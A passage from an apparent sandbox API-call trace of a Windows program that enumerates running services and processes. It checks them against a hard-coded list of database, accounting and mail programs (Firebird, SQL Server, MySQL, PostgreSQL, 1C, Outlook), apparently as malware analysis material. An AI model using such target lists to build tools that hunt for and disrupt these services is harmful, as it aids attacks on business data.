(lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0128.681] lstrlenW (lpString="gpsvc") returned 5 [0128.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0128.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0128.681] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0128.681] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0128.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0128.681] lstrlenW (lpString="LanmanWorkstation") returned 17 [0128.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0128.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0128.681] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0128.681] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0128.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0128.682] lstrlenW (lpString="lmhosts") returned 7 [0128.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0128.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0128.682] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0128.682] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0128.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0128.682] lstrlenW (lpString="MMCSS") returned 5 [0128.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0128.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0128.682] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0128.682] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0128.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0128.682] lstrlenW (lpString="MpsSvc") returned 6 [0128.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0128.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0128.682] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0128.682] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0128.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0128.682] lstrlenW (lpString="nsi") returned 3 [0128.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0128.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0128.682] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0128.682] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0128.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0128.682] lstrlenW (lpString="PlugPlay") returned 8 [0128.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0128.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0128.682] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0128.682] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0128.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0128.682] lstrlenW (lpString="Power") returned 5 [0128.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0128.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0128.683] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0128.683] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0128.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0128.683] lstrlenW (lpString="ProfSvc") returned 7 [0128.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0128.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0128.683] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0128.683] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0128.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0128.683] lstrlenW (lpString="RpcEptMapper") returned 12 [0128.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0128.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0128.683] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0128.683] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0128.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0128.683] lstrlenW (lpString="RpcSs") returned 5 [0128.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0128.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0128.683] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0128.683] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0128.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0128.683] lstrlenW (lpString="SamSs") returned 5 [0128.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0128.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0128.683] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0128.683] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0128.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0128.683] lstrlenW (lpString="Schedule") returned 8 [0128.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0128.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0128.683] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0128.683] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0128.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0128.683] lstrlenW (lpString="SENS") returned 4 [0128.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0128.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0128.684] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0128.684] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0128.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0128.684] lstrlenW (lpString="ShellHWDetection") returned 16 [0128.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0128.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0128.684] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0128.684] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0128.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0128.684] lstrlenW (lpString="Spooler") returned 7 [0128.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0128.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0128.684] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0128.684] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0128.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0128.684] lstrlenW (lpString="Themes") returned 6 [0128.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0128.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0128.684] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0128.684] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0128.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0128.684] lstrlenW (lpString="UxSms") returned 5 [0128.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0128.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0128.684] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0128.684] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0128.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0128.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x339350 | out: hHeap=0x300000) returned 1 [0128.684] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0128.687] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0128.687] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0128.687] lstrlenW (lpString="System") returned 6 [0128.687] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0128.688] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0128.688] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0128.688] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0128.688] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0128.688] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0128.688] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0128.688] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0128.688] lstrlenW (lpString="smss.exe") returned 8 [0128.688] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0128.688] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0128.688] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0128.688] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0128.688] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0128.688] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0128.688] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0128.688] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0128.689] lstrlenW (lpString="csrss.exe") returned 9 [0128.689] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0128.689] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0128.689] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0128.689] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0128.689] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0128.689] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0128.689] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0128.689] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0128.689] lstrlenW (lpString="wininit.exe") returned 11 [0128.689] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0128.689] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0128.689] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0128.689] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0128.689] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0128.689] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0128.689] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0128.689] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0128.690] lstrlenW (lpString="csrss.exe") returned 9 [0128.690] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0128.690] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0128.690] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0128.690] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0128.690] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0128.690] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0128.690] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0128.690] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0128.690] lstrlenW (lpString="winlogon.exe") returned 12 [0128.690] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0128.690] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0128.690] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0128.690] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0128.690] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0128.690] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0128.690] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0128.690] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0128.691] lstrlenW (lpString="services.exe") returned 12 [0128.691] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0128.691] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0128.691] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0128.691] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0128.691] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0128.691] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0128.691] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0128.691] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0128.691] lstrlenW (lpString="lsass.exe") returned 9 [0128.691] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0128.691] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0128.691] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0128.691] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0128.691] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0128.691] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0128.691] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0128.691] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0128.692] lstrlenW (lpString="lsm.exe") returned 7 [0128.692] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0128.692] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0128.692] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0128.692] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0128.692] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0128.692] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0128.692] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0128.692] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.692] lstrlenW (lpString="svchost.exe") returned 11 [0128.692] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0128.692] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0128.692] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0128.692] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0128.692] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0128.692] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0128.692] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0128.692] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.693] lstrlenW (lpString="svchost.exe") returned 11 [0128.693] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0128.693] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0128.693] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0128.693] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0128.693] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0128.693] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0128.693] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0128.693] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.693] lstrlenW (lpString="svchost.exe") returned 11 [0128.693] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0128.693] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0128.693] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0128.693] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0128.693] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0128.693] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0128.693] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0128.693] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0128.694] lstrlenW (lpString="LogonUI.exe") returned 11 [0128.694] lstrcmpiW (lpString1="1c8.exe", lpString2="LogonUI.exe") returned -1 [0128.694] lstrcmpiW (lpString1="1cv77.exe", lpString2="LogonUI.exe") returned -1 [0128.694] lstrcmpiW (lpString1="outlook.exe", lpString2="LogonUI.exe") returned 1 [0128.694] lstrcmpiW (lpString1="postgres.exe", lpString2="LogonUI.exe") returned 1 [0128.694] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="LogonUI.exe") returned 1 [0128.694] lstrcmpiW (lpString1="mysqld.exe", lpString2="LogonUI.exe") returned 1 [0128.694] lstrcmpiW (lpString1="sqlservr.exe", lpString2="LogonUI.exe") returned 1 [0128.694] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.694] lstrlenW (lpString="svchost.exe") returned 11 [0128.694] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0128.694] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0128.694] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0128.694] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0128.694] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0128.694] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0128.694] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0128.695] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.695] lstrlenW (lpString="svchost.exe") returned 11 [0128.695] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0128.695] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0128.695] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0128.695] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0128.695] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0128.695] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0128.695] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0128.695] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0128.695] lstrlenW (lpString="audiodg.exe") returned 11 [0128.695] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0128.695] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0128.695] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0128.695] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0128.696] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0128.696] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0128.696] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0128.696] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.696] lstrlenW (lpString="svchost.exe") returned 11 [0128.696] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0128.696] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0128.696] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.697] lstrlenW (lpString="svchost.exe") returned 11 [0128.697] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0128.697] lstrlenW (lpString="dllhost.exe") returned 11 [0128.697] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0128.697] lstrlenW (lpString="spoolsv.exe") returned 11 [0128.697] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0128.698] lstrlenW (lpString="taskhost.exe") returned 12 [0128.698] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.698] lstrlenW (lpString="svchost.exe") returned 11 [0128.698] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0128.698] lstrlenW (lpString="userinit.exe") returned 12 [0128.698] Process32NextW (in: hSnapshot=0xe0, 